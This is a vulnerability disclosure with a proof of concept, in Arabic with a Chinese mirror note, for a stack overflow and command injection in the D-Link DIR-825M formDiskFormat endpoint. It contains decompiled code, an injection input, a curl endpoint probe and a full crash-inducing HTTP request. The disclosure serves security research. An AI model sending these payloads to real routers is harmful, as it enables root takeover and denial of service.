
إثبات مفهوم لاستغلال تجاوز سعة المخزن المؤقت في المكدس وحقن الأوامر في D-Link DIR-825M في /boafrm/formDiskFormat، مما يتيح تنفيذ الأوامر عن بُعد بصلاحيات الجذر على البرنامج الثابت الإصدار v1.1.8.
| الحقل | القيمة |
|---|---|
| البائع | D-Link |
| المنتج | D-Link DIR-825M (وطرازات أخرى تشارك نفس قاعدة كود البرنامج الثابت) |
| الإصدار المتأثر | البرنامج الثابت v1.1.8 |
| نوع الثغرة | تجاوز سعة المخزن المؤقت على المكدس (CWE-121)、حقن الأوامر (CWE-78) |
| الصفحة الرئيسية للبائع | https://www.dlink.com/ |
أثناء مراجعة أمنية للبرنامج الثابت للراوتر، تم تحديد ثغرة حرجة في نقطة النهاية /boafrm/formDiskFormat.
تقع الثغرة في الدالة sub_46725C، التي تتعامل مع تنسيق الأقسام. تسترجع الدالة المعامل partition الذي يتحكم فيه المستخدم من طلب HTTP POST. وبدون أي تعقيم مسبق أو تحقق أو فحوصات للطول على هذا المعامل، يقوم البرنامج بعدة عمليات غير آمنة:
sprintf لتنسيق المعامل في مخزن مؤقت صغير على المكدس v9 (مخصص بـ 132 بايت فقط).system() لتنفيذ أدوات النظام.يمكن للمهاجم استغلال ذلك عن طريق حقن محارف شل وصفية (مثل ; أو & أو |) في المعامل partition لتنفيذ أوامر نظام عشوائية بصلاحيات الجذر، أو عن طريق تمرير سلسلة طويلة بشكل مفرط للتسبب في تجاوز سعة المخزن المؤقت على المكدس والاستيلاء على تدفق التحكم.
/boafrm/formDiskFormat (أو نقطة نهاية مشابهة لمعالجة تنسيق الأقراص)sub_46725Cتنبع الثغرة من عيبين برمجيين متزامنين: تنسيق سلاسل غير آمن وتنفيذ مباشر لمدخلات غير مُتحقق منها في شل النظام.

داخل sub_46725C، يتم جلب المعامل partition وتخزينه في v2:
v2 = (const char *)sub_41351C(a1, "partition", "");
إذا لم يكن المعامل فارغًا، يقوم البرنامج فورًا بإنشاء أمر إلغاء التحميل وتنفيذه:
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);
نظرًا لأن v2 يتم تضمينه مباشرة في سلسلة الأوامر دون تعقيم محارف مثل ;، فإن إدخال sda1;+sleep+5; سيتم تنفيذه على النحو التالي:
umount /dev/sda1; sleep 5; >/dev/null 2>&1
هذا يؤدي مباشرة إلى تنفيذ أوامر شل عشوائية.
يتم تعريف المخزن المؤقت المحلي v9 على المكدس بحجم محدود:
char v9[132];
يستخدم البرنامج sprintf لنسخ إدخال المستخدم إلى v9:
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);
نظرًا لأن sprintf لا يقوم بفحوصات حدودية، فإن معامل partition أطول من حوالي 90 بايت سيكتب خارج حدود v9، مما يؤدي إلى الكتابة فوق إطار المكدس، بما في ذلك مؤشر الإطار المحفوظ وعنوان الإرجاع ($ra في MIPS/ARM).
يمكن للمهاجم استغلال هذه الثغرة لتحقيق النتائج التالية:
root).من خلال توفير معامل partition طويل بشكل مفرط، سيتم إتلاف المكدس، مما يؤدي إلى خطأ تجزئة وتعطل خادم الويب.
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive
partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm


本仓库为 CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 formDiskFormat.md)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
POST /boafrm/formDiskFormatpartition 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)核心原理:处理分区格式化的 sub_46725C 函数把用户可控的 partition 参数直接拼进两条命令——sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 $ra)与 sprintf(v9, "umount /dev/%s ...", v2); system(v9)(; & | 等元字符原样进 shell)。
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded
partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。
reports/Dlink/formDiskFormat/)。LICENSE)。